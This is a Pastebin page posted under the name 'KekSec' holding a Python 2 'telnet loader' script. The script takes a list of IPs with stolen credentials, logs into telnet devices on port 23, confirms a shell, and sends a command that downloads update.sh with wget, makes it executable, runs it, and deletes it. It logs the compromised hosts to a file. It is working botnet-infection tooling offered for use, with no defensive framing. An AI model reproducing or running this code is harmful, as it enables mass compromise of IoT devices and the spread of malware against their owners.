Advertisement
KekSec

ADVANCED TELNET LOADER

Aug 4th, 2018
2,613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.33 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Phaaaat hax telnet loader by Milenko
  3.  
  4. import sys, re, os, socket, time, select
  5. from threading import Thread
  6. from time import sleep
  7.  
  8. if len(sys.argv) < 2:
  9.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  10.  
  11. global rekdevice
  12. rekdevice="cd /tmp; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
  13. print "\033[31m"
  14.  
  15. print "S-S-SUUUPER fast telnet loader by Milenko"
  16. print
  17. #simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3
  18. print "Reads ip:port user:pass and simply checks the IP for port 23."
  19. print "Then sends the infect to it and saves the working telnets to \"working.txt\""
  20. print "It is VERY fast and extremely efficient."
  21. print "As it splits the file into equal chunks for each thread!"
  22.  
  23. threads = int(raw_input("Threads: "))
  24.  
  25. lines = open(sys.argv[1],"r").readlines()
  26.  
  27. global fh
  28. fh = open("workingtelnet.txt","a+")
  29.  
  30. def chunkify(lst,n):
  31.     return [ lst[i::n] for i in xrange(n) ]
  32.  
  33. running = 0
  34.  
  35. global loaded
  36. loaded = 0
  37. global rekt
  38. rekt = []
  39.  
  40. def printStatus():
  41.     global loaded
  42.     while 1:
  43.         sleep(30)
  44.         print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"
  45.         if loaded >= 1000:
  46.             print "Dayum u got sum phat hax brah :^}"
  47.  
  48.  
  49. def readUntil(tn, advances, timeout=8):
  50.     buf = ''
  51.     start_time = time.time()
  52.     while time.time() - start_time < timeout:
  53.         buf += tn.recv(1024)
  54.         time.sleep(0.1)
  55.         for advance in advances:
  56.             if advance in buf: return buf
  57.     return ""
  58.  
  59. def recvTimeout(sock, size, timeout=8):
  60.     sock.setblocking(0)
  61.     ready = select.select([sock], [], [], timeout)
  62.     if ready[0]:
  63.         data = sock.recv(size)
  64.         return data
  65.     return ""
  66.  
  67. def contains(data, array):
  68.     for test in array:
  69.         if test in data:
  70.             return True
  71.     return False
  72.  
  73. def infect(ip,username,password):
  74.     global rekdevice
  75.     global rekt
  76.     global loaded
  77.     global fh
  78.     advances = [":", "ser", "ogin", "name", "pass", "dvrdvs"]
  79.     successes = ["$", "#", ">", "shell", "dvrdvs", "usybox"]
  80.     try:
  81.         tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  82.         tn.settimeout(1)
  83.         tn.connect((ip, 23))
  84.         hoho = ''
  85.         hoho += readUntil(tn, advances)
  86.         if contains(hoho, advances):
  87.             tn.send(username + "\r\n")
  88.             time.sleep(0.1)
  89.         hoho = ''
  90.         hoho += readUntil(tn, advances)
  91.         if contains(hoho, advances):
  92.             tn.send(password + "\r\n")
  93.             time.sleep(0.1)
  94.         else:
  95.             pass
  96.         prompt = ''
  97.         prompt += recvTimeout(tn, 40960)
  98.         if contains(prompt, successes):
  99.             try:
  100.                 tn.send("ifconfig\r\n")
  101.                 time.sleep(0.2)
  102.                 timeout = 8
  103.                 buf = ''
  104.                 start_time = time.time()
  105.                 while time.time() - start_time < timeout:
  106.                     buf += recvTimeout(tn, 40960)
  107.                     time.sleep(0.1)
  108.                     if "inet addr" in buf and "unrecognized" not in buf:
  109.                         if ip in rekt:
  110.                             return
  111.                         tn.send(rekdevice + "\r\n")
  112.                         print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m " + ip + ":23 " + username + ":" + password
  113.                         loaded += 1
  114.                         rekt.append(ip)
  115.                         fh.write(ip + ":23 " + username + ":" + password + "\n")
  116.                         fh.flush()
  117.                         time.sleep(10)
  118.                         tn.close()
  119.                         return
  120.             except:
  121.                 pass
  122.         else:
  123.             #auth failed
  124.             tn.close()
  125.         tn.close()
  126.     except Exception as e:
  127.         tn.close()
  128.  
  129. def check(chunk, fh):
  130.     global running
  131.     global rekt
  132.     running += 1
  133.     threadID = running
  134.     for login in chunk:
  135.         try:
  136.             if login.split(":")[0] in rekt:
  137.                 continue
  138.             if ":23 " in login:
  139.                 login = login.replace(":23 ", ":")
  140.             if ":2323 " in login:
  141.                 login = login.replace(":2323 ", ":")
  142.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  143.             s.settimeout(0.5)
  144.             s.connect((login.split(":")[0], 23))
  145.             s.close()
  146.             infect(login.split(":")[0], login.split(":")[1], login.split(":")[2])
  147.         except:
  148.             pass
  149.     print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded)
  150.     running -= 1
  151.  
  152. lines = map(lambda s: s.strip(), lines) # remove all newlines
  153.  
  154. chunks = chunkify(lines, threads) # make seperate chunk for each thread
  155.  
  156. print "STARTING SCAN AND LOAD!!!"
  157.  
  158. Thread(target = printStatus, args = ()).start()
  159.  
  160. for thread in xrange(0,threads):
  161.     if thread >= 384:
  162.         sleep(0.2)
  163.     try:
  164.         Thread(target = check, args = (chunks[thread], fh,)).start()
  165.     except:
  166.         pass
  167. print "Scanning... Press enter 3 times to stop."
  168.  
  169. for i in range(0,3):
  170.     raw_input()
  171.  
  172. fh.close()
  173.  
  174. os.popen("kill -9 " + str(os.getpid()))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement